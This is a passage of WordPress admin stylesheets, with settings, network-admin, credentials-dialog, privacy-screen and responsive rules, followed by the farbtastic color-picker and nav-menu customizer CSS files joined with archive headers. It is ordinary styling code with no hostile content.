/*------------------------------------------------------------------------------ 20.0 - Settings ------------------------------------------------------------------------------*/ .timezone-info code { white-space: nowrap; } .defaultavatarpicker .avatar { margin: 2px 0; vertical-align: middle; } .options-general-php .date-time-text { display: inline-block; min-width: 10em; } .options-general-php input.small-text { width: 56px; margin: -2px 0; min-height: 32px; } .options-general-php .spinner { float: none; margin: -3px 3px 0; } .settings-php .language-install-spinner, .options-general-php .language-install-spinner, .user-edit-php .language-install-spinner, .profile-php .language-install-spinner { display: inline-block; float: none; margin: -3px 5px 0; vertical-align: middle; } .form-table.permalink-structure .available-structure-tags { margin-top: 8px; } .form-table.permalink-structure .available-structure-tags ul { display: flex; flex-wrap: wrap; margin: 8px 0 0; } .form-table.permalink-structure .available-structure-tags li { margin: 6px 0 0 5px; } .form-table.permalink-structure .available-structure-tags li:last-child { margin-left: 0; } .form-table.permalink-structure .structure-selection .row { margin-bottom: 16px; } .form-table.permalink-structure .structure-selection .row > div { max-width: calc(100% - 24px); display: inline-flex; flex-direction: column; } .form-table.permalink-structure .structure-selection .row label { font-weight: 600; } .form-table.permalink-structure .structure-selection .row p { margin-top: 0; } .permalink-structure-optional-description code { display: inline-block; } /*------------------------------------------------------------------------------ 21.0 - Network Admin ------------------------------------------------------------------------------*/ .setup-php textarea { max-width: 100%; } .form-field #site-address { max-width: 25em; } .form-field #domain { max-width: 22em; } .form-field #site-title, .form-field #admin-email, .form-field #path, .form-field #blog_registered, .form-field #blog_last_updated { max-width: 25em; } .form-field #path { margin-bottom: 5px; } #search-users, #search-sites { max-width: 60%; } .configuration-rules-label { font-weight: 600; margin-bottom: 4px; } /*------------------------------------------------------------------------------ Credentials check dialog for Install and Updates ------------------------------------------------------------------------------*/ .request-filesystem-credentials-dialog { display: none; /* The customizer uses visibility: hidden on the body for full-overlays. */ visibility: visible; } .request-filesystem-credentials-dialog .notification-dialog { top: 10%; max-height: 85%; } .request-filesystem-credentials-dialog-content { margin: 25px; } #request-filesystem-credentials-title { font-size: 1.3em; margin: 1em 0; } .request-filesystem-credentials-form legend { font-size: 1em; padding: 1.33em 0; font-weight: 600; } .request-filesystem-credentials-form input[type="text"], .request-filesystem-credentials-form input[type="password"] { display: block; } .request-filesystem-credentials-dialog input[type="text"], .request-filesystem-credentials-dialog input[type="password"] { width: 100%; } .request-filesystem-credentials-form .field-title { font-weight: 600; } .request-filesystem-credentials-dialog label[for="hostname"], .request-filesystem-credentials-dialog label[for="public_key"], .request-filesystem-credentials-dialog label[for="private_key"] { display: block; margin-bottom: 1em; } .request-filesystem-credentials-dialog .ftp-username, .request-filesystem-credentials-dialog .ftp-password { float: right; width: 48%; } .request-filesystem-credentials-dialog .ftp-password { margin-right: 4%; } .request-filesystem-credentials-dialog .request-filesystem-credentials-action-buttons { text-align: left; } .request-filesystem-credentials-dialog label[for="ftp"] { margin-left: 10px; } .request-filesystem-credentials-dialog #auth-keys-desc { margin-bottom: 0; } #request-filesystem-credentials-dialog .button:not(:last-child) { margin-left: 10px; } #request-filesystem-credentials-form .cancel-button { display: none; } #request-filesystem-credentials-dialog .cancel-button { display: inline; } .request-filesystem-credentials-dialog .ftp-username, .request-filesystem-credentials-dialog .ftp-password { float: none; width: auto; } .request-filesystem-credentials-dialog .ftp-username { margin-bottom: 1em; } .request-filesystem-credentials-dialog .ftp-password { margin: 0; } .request-filesystem-credentials-dialog .ftp-password em { color: #757575; } .request-filesystem-credentials-dialog label { display: block; line-height: 1.5; margin-bottom: 1em; } .request-filesystem-credentials-form legend { padding-bottom: 0; } .request-filesystem-credentials-form #ssh-keys legend { font-size: 1.3em; } .request-filesystem-credentials-form .notice { margin: 0 0 20px; clear: both; } /*------------------------------------------------------------------------------ Privacy Policy settings screen ------------------------------------------------------------------------------*/ .tools-privacy-policy-page form { margin-bottom: 1.3em; } .tools-privacy-policy-page input.button { margin: 0 6px 0 1px; } .tools-privacy-policy-page select { margin: 0 6px 0.5em 1px; } .tools-privacy-edit { margin: 1.5em 0; } .tools-privacy-policy-page span { line-height: 2; } .privacy_requests .column-email { width: 40%; } .privacy_requests .column-type { text-align: center; } .privacy_requests thead td:first-child, .privacy_requests tfoot td:first-child { border-right: 4px solid #fff; } .privacy_requests tbody th { border-right: 4px solid #fff; background: #fff; box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1); } .privacy_requests .row-actions { color: #787c82; } .privacy_requests .row-actions.processing { position: static; } .privacy_requests tbody .has-request-results th { box-shadow: none; } .privacy_requests tbody .request-results th .notice { margin: 0 0 5px; } .privacy_requests tbody td { background: #fff; box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1); } .privacy_requests tbody .has-request-results td { box-shadow: none; } .privacy_requests .next_steps .button { word-wrap: break-word; white-space: normal; } .privacy_requests .status-request-confirmed th, .privacy_requests .status-request-confirmed td { background-color: #fff; border-right-color: #72aee6; } .privacy_requests .status-request-failed th, .privacy_requests .status-request-failed td { background-color: #f6f7f7; border-right-color: #d63638; } .privacy_requests .export_personal_data_failed a { vertical-align: baseline; } .status-label { font-weight: 600; } .status-label.status-request-pending { font-weight: 400; font-style: italic; color: #646970; } .status-label.status-request-failed { color: #d63638; font-weight: 600; } .privacy_requests .status-date { display: block; font-weight: 400; } .wp-privacy-request-form { clear: both; } .wp-privacy-request-form-field { margin: 1.5em 0; } .wp-privacy-request-form input { margin: 0; } /* =Media Queries -------------------------------------------------------------- */ @media screen and (max-width: 782px) { /* Input Elements */ textarea { -webkit-appearance: none; } input[type="text"], input[type="password"], input[type="date"], input[type="datetime"], input[type="datetime-local"], input[type="email"], input[type="month"], input[type="number"], input[type="search"], input[type="tel"], input[type="time"], input[type="url"], input[type="week"] { -webkit-appearance: none; padding: 0 12px; min-height: 40px; } ::-webkit-datetime-edit { line-height: 1.875; /* 30px */ } input[type="checkbox"], .widefat th input[type="checkbox"], .widefat thead td input[type="checkbox"], .widefat tfoot td input[type="checkbox"] { -webkit-appearance: none; } .widefat th input[type="checkbox"], .widefat thead td input[type="checkbox"], .widefat tfoot td input[type="checkbox"] { margin-bottom: 8px; } input[type="checkbox"]:checked:before, .widefat th input[type="checkbox"]:before, .widefat thead td input[type="checkbox"]:before, .widefat tfoot td input[type="checkbox"]:before { width: 1.875rem; height: 1.875rem; margin: -0.1875rem -0.3125rem; } input[type="radio"], input[type="checkbox"] { height: 1.5625rem; width: 1.5625rem; } .wp-admin p input[type="checkbox"], .wp-admin p input[type="radio"] { margin-top: -0.1875rem; } input[type="radio"]:checked:before { vertical-align: middle; width: 0.5625rem; height: 0.5625rem; margin: 0.4375rem; line-height: 0.76190476; } .wp-core-ui select, .wp-admin .form-table select { min-height: 40px; font-size: 16px; line-height: 2.5; /* 40px for 16px font */ padding: 0 12px 0 24px; } .wp-admin .button-cancel { margin-bottom: 0; padding: 2px 0; font-size: 14px; vertical-align: middle; } #adduser .form-field input, #createuser .form-field input { width: 100%; } .form-table { box-sizing: border-box; } .form-table th, .form-table td, .label-responsive { display: block; width: auto; vertical-align: middle; } .label-responsive { margin: 0.5em 0; } .export-filters li { margin-bottom: 0; } .form-table .color-palette .color-palette-shade, .form-table .color-palette td { display: table-cell; width: 15px; height: 30px; padding: 0; } .form-table .color-palette { margin-left: 10px; } textarea, input { font-size: 16px; } .form-table td input[type="text"], .form-table td input[type="email"], .form-table td input[type="password"], .form-table td select, .form-table td textarea, .form-table span.description, #profile-page .form-table textarea { width: 100%; display: block; max-width: none; box-sizing: border-box; } .form-table .form-required.form-invalid td:after { float: left; margin: -30px 0 0 3px; } input[type="text"].small-text, input[type="search"].small-text, input[type="password"].small-text, input[type="number"].small-text, input[type="number"].small-text, .form-table input[type="text"].small-text { width: auto; max-width: 4.375em; /* 70px, enough for 4 digits to fit comfortably */ display: inline; padding: 3px 6px; margin: 0 3px; } .form-table .regular-text ~ input[type="text"].small-text { margin-top: 5px; } #pass-strength-result { width: 100%; box-sizing: border-box; padding: 8px; } .profile-php .wp-pwd .caps-warning { padding: 8px; } .password-input-wrapper { display: block; } .wp-core-ui .tablenav input[type="text"], .wp-core-ui .tablenav input[type="password"], .wp-core-ui .tablenav input[type="date"], .wp-core-ui .tablenav input[type="datetime"], .wp-core-ui .tablenav input[type="datetime-local"], .wp-core-ui .tablenav input[type="email"], .wp-core-ui .tablenav input[type="month"], .wp-core-ui .tablenav input[type="number"], .wp-core-ui .tablenav input[type="search"], .wp-core-ui .tablenav input[type="tel"], .wp-core-ui .tablenav input[type="time"], .wp-core-ui .tablenav input[type="url"], .wp-core-ui .tablenav input[type="week"], .wp-core-ui .tablenav select { min-height: 40px; } .wp-core-ui .tablenav .button { min-height: 40px; line-height: 2.71428571; padding: 0 14px; } p.search-box { float: none; width: 100%; margin-bottom: 20px; display: flex; } p.search-box input[name="s"] { width: 100%; float: none; margin-bottom: 10px; vertical-align: middle; } .js.plugins-php .search-box .wp-filter-search { width: 100%; margin-bottom: 0; } p.search-box input[type="search"], p.search-box input[type="text"] { min-height: 40px; padding: 0 12px; } p.search-box input[type="submit"].button { margin-bottom: 10px; } .form-table span.description { display: inline; padding: 4px 0 0; line-height: 1.4; font-size: 14px; } .form-table th { padding: 10px 0 0; border-bottom: 0; } .form-table td { margin-bottom: 0; padding: 4px 0 6px; } .form-table.permalink-structure td code { display: inline-block; } .form-table.permalink-structure .structure-selection { margin-top: 8px; } .form-table.permalink-structure .structure-selection .row > div { max-width: calc(100% - 36px); width: 100%; } .form-table.permalink-structure td input[type="text"] { margin-top: 4px; } .permalink-structure-has-blog-prefix { display: flex; align-items: center; } .form-table input.regular-text { width: 100%; } .form-table label { font-size: 14px; } .form-table td > label:first-child { display: inline-block; margin-top: 0.35em; } .background-position-control .button-group > label { font-size: 0; } .form-table fieldset label { display: block; } .form-field #domain { max-width: none; } /* New Password */ .wp-pwd { position: relative; } /* Needs higher specificity than normal input type text and password. */ #profile-page .form-table #pass1 { padding-left: 90px; } .wp-pwd button.button { background: transparent; border: 1px solid transparent; box-shadow: none; line-height: 2; margin: 0; padding: 5px 9px; position: absolute; left: 0; top: 0; width: 2.375rem; height: 2.375rem; min-width: 40px; min-height: 40px; } .wp-pwd button.wp-hide-pw { left: 2.5rem; } body.user-new-php .wp-pwd button.wp-hide-pw { left: 0; } .wp-pwd button.button:hover, .wp-pwd button.button:focus { background: transparent; } .wp-pwd button.button:active { background: transparent; box-shadow: none; transform: none; } .wp-pwd .button .text { display: none; } .wp-pwd [type="text"], .wp-pwd [type="password"] { line-height: 2; padding-left: 5rem; } body.user-new-php .wp-pwd [type="text"], body.user-new-php .wp-pwd [type="password"] { padding-left: 2.5rem; } .wp-cancel-pw .dashicons-no { display: inline-block; } .mailserver-pass-wrap .wp-pwd { display: block; } /* rtl:ignore */ #mailserver_pass { padding-left: 10px; } .options-general-php input[type="text"].small-text { max-width: 6.25em; margin: 0; min-height: 40px; } /* Privacy Policy settings screen */ .tools-privacy-policy-page form.wp-create-privacy-page { margin-bottom: 1em; } .tools-privacy-policy-page input#set-page, .tools-privacy-policy-page select { margin: 10px 0 0; } .tools-privacy-policy-page .wp-create-privacy-page span { display: block; margin-bottom: 1em; } .tools-privacy-policy-page .wp-create-privacy-page .button { margin-right: 0; } .wp-list-table.privacy_requests tr:not(.inline-edit-row):not(.no-items) td.column-primary:not(.check-column) { display: table-cell; } .wp-list-table.privacy_requests.widefat th input, .wp-list-table.privacy_requests.widefat thead td input { margin-right: 5px; } .wp-privacy-request-form-field input[type="text"] { width: 100%; margin-bottom: 10px; vertical-align: middle; } .regular-text { max-width: 100%; } } @media only screen and (max-width: 768px) { .form-field input[type="text"], .form-field input[type="email"], .form-field input[type="password"], .form-field select, .form-field textarea { width: 99%; } .form-wrap .form-field { padding: 0; } } @media only screen and (max-height: 480px), screen and (max-width: 450px) { /* Request Credentials / File Editor Warning */ .request-filesystem-credentials-dialog .notification-dialog, .file-editor-warning .notification-dialog { width: 100%; height: 100%; max-height: 100%; position: fixed; top: 0; margin: 0; right: 0; } } /* Smartphone */ @media screen and (max-width: 600px) { /* Color Picker Options */ .color-option { width: 49%; } } @media only screen and (max-width: 320px) { .options-general-php .date-time-text.date-time-custom-text { min-width: 0; margin-left: 0.5em; } } @keyframes rotation { 0% { transform: rotate(0deg); } 100% { transform: rotate(-359deg); } } css/farbtastic.css 0000644 00000001143 15233246127 0010174 0 ustar 00 .farbtastic { position: relative; } .farbtastic * { position: absolute; cursor: crosshair; } .farbtastic, .farbtastic .wheel { width: 195px; height: 195px; } .farbtastic .color, .farbtastic .overlay { top: 47px; left: 47px; width: 101px; height: 101px; } .farbtastic .wheel { background: url(../images/wheel.png) no-repeat; width: 195px; height: 195px; } .farbtastic .overlay { background: url(../images/mask.png) no-repeat; } .farbtastic .marker { width: 17px; height: 17px; margin: -8px 0 0 -8px; overflow: hidden; background: url(../images/marker.png) no-repeat; } css/customize-nav-menus.min.css 0000644 00000044123 15233246127 0012572 0 ustar 00 /*! This file is auto-generated */ #customize-theme-controls #accordion-section-menu_locations{position:relative;margin-top:30px}#customize-theme-controls #accordion-section-menu_locations>.accordion-section-title{border-bottom-color:#dcdcde;margin-top:15px}#customize-theme-controls .customize-section-title-menu_locations-description,#customize-theme-controls .customize-section-title-menu_locations-heading,#customize-theme-controls .customize-section-title-nav_menus-heading{padding:0 12px}#customize-theme-controls .customize-control-description.customize-section-title-menu_locations-description{font-style:normal}.menu-in-location,.menu-in-locations{display:block;font-weight:600;font-size:10px}#customize-controls .control-section .accordion-section-title:focus .menu-in-location,#customize-controls .control-section .accordion-section-title:hover .menu-in-location,#customize-controls .theme-location-set{color:#50575e}.customize-control-nav_menu_location .create-menu,.customize-control-nav_menu_location .edit-menu{margin-left:6px;vertical-align:middle;line-height:2.2}#customize-controls .customize-control-nav_menu_name{margin-bottom:12px}.customize-control-nav_menu_name p:last-of-type{margin-bottom:0}#customize-new-menu-submit{float:right;min-width:85px}.wp-customizer .menu-item-bar .menu-item-handle,.wp-customizer .menu-item-settings,.wp-customizer .menu-item-settings .description-thin{box-sizing:border-box}.wp-customizer .menu-item-bar{margin:0}.wp-customizer .menu-item-bar .menu-item-handle{width:100%;max-width:100%;background:#fff}.wp-customizer .menu-item-handle .item-title{margin-right:0}.wp-customizer .menu-item-handle .item-type{padding:1px 21px 0 5px;float:right;text-align:right}.wp-customizer .menu-item-handle:hover{z-index:8}.customize-control-nav_menu_item.has-notifications .menu-item-handle{border-left:4px solid #72aee6}.wp-customizer .menu-item-settings{max-width:100%;overflow:hidden;z-index:8;padding:10px;background:#f0f0f1;border:1px solid #8c8f94;border-top:none}.wp-customizer .menu-item-settings .description-thin{width:100%;height:auto;margin:0 0 8px}.wp-customizer .menu-item-settings input[type=text]{width:100%}.wp-customizer .menu-item-settings .submitbox{margin:0;padding:0}.wp-customizer .menu-item-settings .link-to-original{padding:5px 0;border:none;font-style:normal;margin:0;width:100%}.wp-customizer .menu-item .submitbox .submitdelete{float:left;margin:6px 0 0;padding:0;cursor:pointer}.menu-item-reorder-nav{display:none;background-color:#fff;position:absolute;top:0;right:0}.menus-move-left:before{content:"\f341";content:"\f341"/''}.menus-move-right:before{content:"\f345";content:"\f345"/''}.reordering .menu-item .item-controls,.reordering .menu-item .item-type{display:none}.reordering .menu-item-reorder-nav{display:block}.customize-control input.menu-name-field{width:100%}.wp-customizer .menu-item .item-edit{position:absolute;right:-19px;top:2px;display:block;width:30px;height:38px;margin-right:0!important;box-shadow:none;outline:0;overflow:hidden;cursor:pointer;text-align:center}.wp-customizer .menu-item.menu-item-edit-active .item-edit .toggle-indicator:before{content:"\f142";content:"\f142"/''}.wp-customizer .menu-item-settings p.description{font-style:normal}.wp-customizer .menu-settings dl{margin:12px 0 0;padding:0}.wp-customizer .menu-settings .checkbox-input{margin-top:8px}.wp-customizer .menu-settings .menu-theme-locations{border-top:1px solid #c3c4c7}.wp-customizer .menu-settings{margin-top:36px;border-top:none}.wp-customizer .menu-location-settings{margin-top:12px;border-top:none}.wp-customizer .control-section-nav_menu .menu-location-settings{margin-top:24px;border-top:1px solid #dcdcde}.customize-control-nav_menu_auto_add,.wp-customizer .control-section-nav_menu .menu-location-settings{padding-top:12px}.menu-location-settings .customize-control-checkbox .theme-location-set{line-height:1}.customize-control-nav_menu_auto_add label{vertical-align:top}.menu-location-settings .new-menu-locations-widget-note{display:block}.customize-control-menu{margin-top:4px}#customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle{color:#50575e}.customize-screen-options-toggle{background:0 0;border:none;color:#50575e;cursor:pointer;margin:0;padding:20px;position:absolute;right:0;top:30px}#customize-controls .customize-info .customize-help-toggle{padding:20px}#customize-controls .customize-info .customize-help-toggle:before{padding:4px}#customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,#customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus,#customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,.active-menu-screen-options .customize-screen-options-toggle,.customize-screen-options-toggle:active,.customize-screen-options-toggle:focus,.customize-screen-options-toggle:hover{color:var(--wp-admin-theme-color)}#customize-controls .customize-info .customize-help-toggle:focus,.customize-screen-options-toggle:focus{outline:2px solid transparent}.customize-screen-options-toggle:before{-moz-osx-font-smoothing:grayscale;border:none;content:"\f111";content:"\f111"/'';display:block;font:18px/1 dashicons;padding:5px;text-align:center;text-decoration:none!important;text-indent:0;left:6px;position:absolute;top:6px}#customize-controls .customize-info .customize-help-toggle:focus:before,.customize-screen-options-toggle:focus:before{border-radius:100%}.wp-customizer #screen-options-wrap{display:none;background:#fff;border-top:1px solid #dcdcde;padding:4px 15px 15px}.wp-customizer .metabox-prefs label{display:block;padding-right:0;line-height:30px}.wp-customizer .toggle-indicator{display:inline-block;font-size:20px;line-height:1}.rtl .wp-customizer .toggle-indicator{text-indent:1px}#available-menu-items .accordion-section-title .toggle-indicator:before,.wp-customizer .menu-item .item-edit .toggle-indicator:before{content:"\f140";content:"\f140"/'';display:block;padding:1px 2px 1px 0;border-radius:50%;color:#787c82;font:normal 20px/1 dashicons;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none!important}.control-section-nav_menu .field-css-classes,.control-section-nav_menu .field-description,.control-section-nav_menu .field-link-target,.control-section-nav_menu .field-title-attribute,.control-section-nav_menu .field-xfn{display:none}.control-section-nav_menu.field-css-classes-active .field-css-classes,.control-section-nav_menu.field-description-active .field-description,.control-section-nav_menu.field-link-target-active .field-link-target,.control-section-nav_menu.field-title-attribute-active .field-title-attribute,.control-section-nav_menu.field-xfn-active .field-xfn{display:block}.menu-item-depth-0{margin-left:0}.menu-item-depth-1{margin-left:20px}.menu-item-depth-2{margin-left:40px}.menu-item-depth-3{margin-left:60px}.menu-item-depth-4{margin-left:80px}.menu-item-depth-5{margin-left:100px}.menu-item-depth-6{margin-left:120px}.menu-item-depth-7{margin-left:140px}.menu-item-depth-8{margin-left:160px}.menu-item-depth-9{margin-left:180px}.menu-item-depth-10{margin-left:200px}.menu-item-depth-11{margin-left:220px}.menu-item-depth-0>.menu-item-bar{margin-right:0}.menu-item-depth-1>.menu-item-bar{margin-right:20px}.menu-item-depth-2>.menu-item-bar{margin-right:40px}.menu-item-depth-3>.menu-item-bar{margin-right:60px}.menu-item-depth-4>.menu-item-bar{margin-right:80px}.menu-item-depth-5>.menu-item-bar{margin-right:100px}.menu-item-depth-6>.menu-item-bar{margin-right:120px}.menu-item-depth-7>.menu-item-bar{margin-right:140px}.menu-item-depth-8>.menu-item-bar{margin-right:160px}.menu-item-depth-9>.menu-item-bar{margin-right:180px}.menu-item-depth-10>.menu-item-bar{margin-right:200px}.menu-item-depth-11>.menu-item-bar{margin-right:220px}.menu-item-depth-0 .menu-item-transport{margin-left:0}.menu-item-depth-1 .menu-item-transport{margin-left:-20px}.menu-item-depth-3 .menu-item-transport{margin-left:-60px}.menu-item-depth-4 .menu-item-transport{margin-left:-80px}.menu-item-depth-2 .menu-item-transport{margin-left:-40px}.menu-item-depth-5 .menu-item-transport{margin-left:-100px}.menu-item-depth-6 .menu-item-transport{margin-left:-120px}.menu-item-depth-7 .menu-item-transport{margin-left:-140px}.menu-item-depth-8 .menu-item-transport{margin-left:-160px}.menu-item-depth-9 .menu-item-transport{margin-left:-180px}.menu-item-depth-10 .menu-item-transport{margin-left:-200px}.menu-item-depth-11 .menu-item-transport{margin-left:-220px}.reordering .menu-item-depth-0{margin-left:0}.reordering .menu-item-depth-1{margin-left:15px}.reordering .menu-item-depth-2{margin-left:30px}.reordering .menu-item-depth-3{margin-left:45px}.reordering .menu-item-depth-4{margin-left:60px}.reordering .menu-item-depth-5{margin-left:75px}.reordering .menu-item-depth-6{margin-left:90px}.reordering .menu-item-depth-7{margin-left:105px}.reordering .menu-item-depth-8{margin-left:120px}.reordering .menu-item-depth-9{margin-left:135px}.reordering .menu-item-depth-10{margin-left:150px}.reordering .menu-item-depth-11{margin-left:165px}.reordering .menu-item-depth-0>.menu-item-bar{margin-right:0}.reordering .menu-item-depth-1>.menu-item-bar{margin-right:15px}.reordering .menu-item-depth-2>.menu-item-bar{margin-right:30px}.reordering .menu-item-depth-3>.menu-item-bar{margin-right:45px}.reordering .menu-item-depth-4>.menu-item-bar{margin-right:60px}.reordering .menu-item-depth-5>.menu-item-bar{margin-right:75px}.reordering .menu-item-depth-6>.menu-item-bar{margin-right:90px}.reordering .menu-item-depth-7>.menu-item-bar{margin-right:105px}.reordering .menu-item-depth-8>.menu-item-bar{margin-right:120px}.reordering .menu-item-depth-9>.menu-item-bar{margin-right:135px}.reordering .menu-item-depth-10>.menu-item-bar{margin-right:150px}.reordering .menu-item-depth-11>.menu-item-bar{margin-right:165px}.control-section-nav_menu.menu .menu-item-edit-active{margin-left:0}.control-section-nav_menu.menu .menu-item-edit-active .menu-item-bar{margin-right:0}.control-section-nav_menu.menu .sortable-placeholder{margin-top:0;margin-bottom:1px;max-width:calc(100% - 2px);float:left;display:list-item;border-color:#a7aaad}.menu-item-transport li.customize-control{float:none}.control-section-nav_menu.menu ul.menu-item-transport .menu-item-bar{margin-top:0}.adding-menu-items .control-section{opacity:.4}.adding-menu-items .control-panel.control-section,.adding-menu-items .control-section.open{opacity:1}.menu-item-bar .item-delete{color:#d63638;position:absolute;top:2px;right:-19px;width:30px;height:38px;cursor:pointer;display:none}.menu-item-bar .item-delete:before{content:"\f335";content:"\f335"/'';position:absolute;top:9px;left:5px;border-radius:50%;font:normal 20px/1 dashicons;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.menu-item-bar .item-delete:focus,.menu-item-bar .item-delete:hover{box-shadow:none;outline:0;color:#d63638}.adding-menu-items .menu-item-bar .item-edit{display:none}.adding-menu-items .menu-item-bar .item-delete{display:block}#available-menu-items.opening{overflow-y:hidden}#available-menu-items #available-menu-items-search.open{height:100%;border-bottom:none}#available-menu-items .accordion-section-title{border-left:none;border-right:none;background:#fff;transition:background-color .15s;-webkit-user-select:auto;user-select:auto}#available-menu-items #available-menu-items-search .accordion-section-title,#available-menu-items .open .accordion-section-title{background:#f0f0f1}#available-menu-items .accordion-section-title:after{content:none!important}#available-menu-items .accordion-section-title:hover .toggle-indicator:before,#available-menu-items .button-link:focus .toggle-indicator:before,#available-menu-items .button-link:hover .toggle-indicator:before{color:#1d2327}#available-menu-items .open .accordion-section-title .toggle-indicator:before{content:"\f142";color:#1d2327}#available-menu-items .available-menu-items-list{overflow-y:auto;max-height:200px;background:0 0}#available-menu-items .accordion-section-title button .toggle-indicator{display:flex;align-items:center;width:28px;height:35px;position:absolute;top:5px;right:5px;box-shadow:none;outline:0;cursor:pointer;text-align:center}#available-menu-items .accordion-section-title .no-items,#available-menu-items .cannot-expand .accordion-section-title .spinner,#available-menu-items .cannot-expand .accordion-section-title>button:not(#available-menu-items-search button.is-visible){display:none}#available-menu-items-search.cannot-expand .accordion-section-title .spinner{display:block}#available-menu-items .cannot-expand .accordion-section-title .no-items{float:right;color:#50575e;font-weight:400;margin-left:5px}#available-menu-items .accordion-section-content{max-height:290px;margin:0;padding:0;position:relative;background:0 0}#available-menu-items .accordion-section-content .available-menu-items-list{margin:0 0 64px;padding:1px 15px 15px}#available-menu-items .accordion-section-content .available-menu-items-list:only-child{margin-bottom:0}#new-custom-menu-item .accordion-section-content{padding:0 15px 15px}#available-menu-items .menu-item-tpl{margin:0}#available-menu-items .new-content-item .create-item-input.invalid,#available-menu-items .new-content-item .create-item-input.invalid:focus,#custom-menu-item-name.invalid,#custom-menu-item-url.invalid,.edit-menu-item-url.invalid,.menu-name-field.invalid,.menu-name-field.invalid:focus{border:1px solid #d63638}#available-menu-items .menu-item-handle .item-type{padding-right:0}#available-menu-items .menu-item-handle .item-title{padding-left:20px}#available-menu-items .menu-item-handle{cursor:pointer}#available-menu-items .menu-item-handle{box-shadow:none;margin-top:-1px}#available-menu-items .menu-item-handle:hover{z-index:1}#available-menu-items .item-title h4{padding:0 0 5px;font-size:14px}#available-menu-items .item-add{position:absolute;top:1px;left:1px;color:#8c8f94;width:30px;height:38px;box-shadow:none;outline:0;cursor:pointer;text-align:center}#available-menu-items .menu-item-handle .item-add:focus{color:#1d2327}#available-menu-items .item-add:before{content:"\f543";content:"\f543"/'';position:relative;left:2px;top:3px;display:inline-block;height:20px;border-radius:50%;font:normal 20px/1.05 dashicons}#available-menu-items .menu-item-handle.item-added .item-add:focus,#available-menu-items .menu-item-handle.item-added .item-title,#available-menu-items .menu-item-handle.item-added .item-type,#available-menu-items .menu-item-handle.item-added:hover .item-add{color:#646970}#available-menu-items .menu-item-handle.item-added .item-add:before{content:"\f147";content:"\f147"/''}#available-menu-items .accordion-section-title.loading .spinner,#available-menu-items-search.loading .accordion-section-title .spinner{visibility:visible;margin:0 20px}#available-menu-items-search .spinner{position:absolute;bottom:24px;right:21px;margin:0!important}#available-menu-items #available-menu-items-search .accordion-section-content{position:absolute;left:0;top:83px;bottom:0;max-height:none;width:100%;padding:1px 15px 15px;box-sizing:border-box}#available-menu-items-search .nothing-found{margin-top:-1px}#available-menu-items-search .accordion-section-title:after{display:none}#available-menu-items-search .accordion-section-content:empty{min-height:0;padding:0}#available-menu-items-search.loading .accordion-section-content div{opacity:.5}#available-menu-items-search.loading.loading-more .accordion-section-content div{opacity:1}@media (prefers-reduced-motion:no-preference){#customize-preview{transition:all .2s}}body.adding-menu-items #available-menu-items{left:0;visibility:visible}body.adding-menu-items .wp-full-overlay-main{left:300px}body.adding-menu-items #customize-preview{opacity:.4}body.adding-menu-items #customize-preview iframe{pointer-events:none}.menu-item-handle .spinner{display:none;float:left;margin:0 8px 0 0}.nav-menu-inserted-item-loading .spinner{display:block}.nav-menu-inserted-item-loading .menu-item-handle .item-type{padding:0 0 0 8px}.added-menu-item .menu-item-handle.loading,.nav-menu-inserted-item-loading .menu-item-handle{padding:10px 15px 10px 8px;cursor:default;opacity:.5;background:#fff;color:#787c82}.added-menu-item .menu-item-handle{transition-property:opacity,background,color;transition-duration:1.25s;transition-timing-function:cubic-bezier(.25,-2.5,.75,8)}#customize-theme-controls .control-panel-content .control-section-nav_menu:nth-last-child(2) .accordion-section-title{border-bottom-color:#dcdcde}#accordion-section-add_menu{margin:15px 12px}#accordion-section-add_menu h3{text-align:right}#accordion-section-add_menu .customize-add-menu-button,#accordion-section-add_menu h3{margin:0}#accordion-section-add_menu .customize-add-menu-button{font-weight:400}#create-new-menu-submit{float:right;margin:0 0 12px}.menu-delete-item{float:left;padding:1em 0;width:100%}.assigned-menu-locations-title p{margin:0 0 8px}li.assigned-to-menu-location .menu-delete-item{display:none}li.assigned-to-menu-location .add-new-menu-item{margin-bottom:1em}.menu-item-handle{margin-top:-1px}.ui-sortable-disabled .menu-item-handle{cursor:default}.menu-item-handle:hover{position:relative;z-index:10;color:var(--wp-admin-theme-color)}#available-menu-items .menu-item-handle:hover .item-add,.menu-item-handle:hover .item-edit,.menu-item-handle:hover .item-type{color:var(--wp-admin-theme-color)}.menu-item-edit-active .menu-item-handle{border-color:#8c8f94;border-bottom:none}.customize-control-nav_menu_item{margin-bottom:0}.customize-control-nav_menu .new-menu-item-invitation{margin-top:0;margin-bottom:0}.customize-control-nav_menu .customize-control-nav_menu-buttons{display:flex;flex-direction:row-reverse;align-items:center;gap:8px;margin-top:12px}#available-menu-items .item-add:focus:before,#customize-controls .customize-info .customize-help-toggle:focus:before,.customize-screen-options-toggle:focus:before,.menu-delete:focus,.menu-item-bar .item-delete:focus:before,.wp-customizer .menu-item .submitbox .submitdelete:focus,.wp-customizer button:focus .toggle-indicator:before{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}@media screen and (max-width:782px){#available-menu-items #available-menu-items-search .accordion-section-content{top:71px}}@media screen and (max-width:640px){#available-menu-items #available-menu-items-search .accordion-section-content{top:154px}} css/nav-menus-rtl.min.css 0000644 00000033767 15233246127 0011365 0 ustar 00 /*! This file is auto-generated */ .no-js #message{display:block}ul.add-menu-item-tabs li{padding:3px 8px 4px 5px}.accordion-section ul.add-menu-item-tabs,.accordion-section ul.category-tabs,.accordion-section ul.wp-tab-bar{margin:0}.accordion-section .categorychecklist{margin:13px 0}#nav-menu-meta .accordion-section-content{padding:18px 13px;resize:vertical}#nav-menu-meta .button-controls{margin-bottom:0}.has-no-menu-item .button-controls{display:none}#nav-menus-frame{margin-right:300px;margin-top:23px}#wpbody-content #menu-settings-column{display:inline;width:281px;margin-right:-300px;clear:both;float:right;padding-top:0}#menu-settings-column .inside{clear:both;margin:10px 0 0;height:100%;max-height:inherit}#menu-settings-column .categorydiv,#menu-settings-column .customlinkdiv,#menu-settings-column .posttypediv,#menu-settings-column .taxonomydiv{max-height:inherit;height:100%}#menu-settings-column .categorydiv 